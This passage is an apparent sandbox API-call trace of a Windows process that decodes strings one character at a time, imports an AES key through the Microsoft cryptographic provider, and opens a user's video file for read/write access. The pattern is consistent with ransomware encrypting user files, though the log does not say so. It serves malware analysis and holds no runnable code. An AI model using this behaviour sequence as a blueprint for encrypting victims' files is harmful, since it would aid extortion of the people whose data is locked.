(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.149] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.149] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0139.150] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.150] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0139.150] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.150] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0139.150] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.150] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.150] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.150] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0139.150] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.151] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0139.151] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.151] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0139.151] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.151] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0139.151] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.151] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0139.152] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.152] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0139.152] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.152] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.152] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0139.152] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.152] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.152] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0139.152] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.153] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0139.153] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.153] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0139.153] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.153] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0139.153] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.153] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.154] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0139.154] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.154] SystemFunction041 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.154] SystemFunction040 (in: Memory=0x8ebf67c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf67c) returned 0x0 [0139.154] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.154] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.154] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.154] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.154] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.155] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.155] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.155] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.155] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.155] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.155] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0139.156] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0139.156] CryptImportKey (in: hProv=0x4396a38, pbData=0x6a2e6e0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84db8) returned 1 [0139.157] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.157] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.157] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.157] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0139.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0139.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.159] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.160] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.160] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.160] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.160] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0139.161] GetFileType (hFile=0x778) returned 0x1 [0139.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.161] GetFileType (hFile=0x778) returned 0x1 [0139.161] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.161] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0139.161] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.161] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.161] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1c, [2]=0x30, 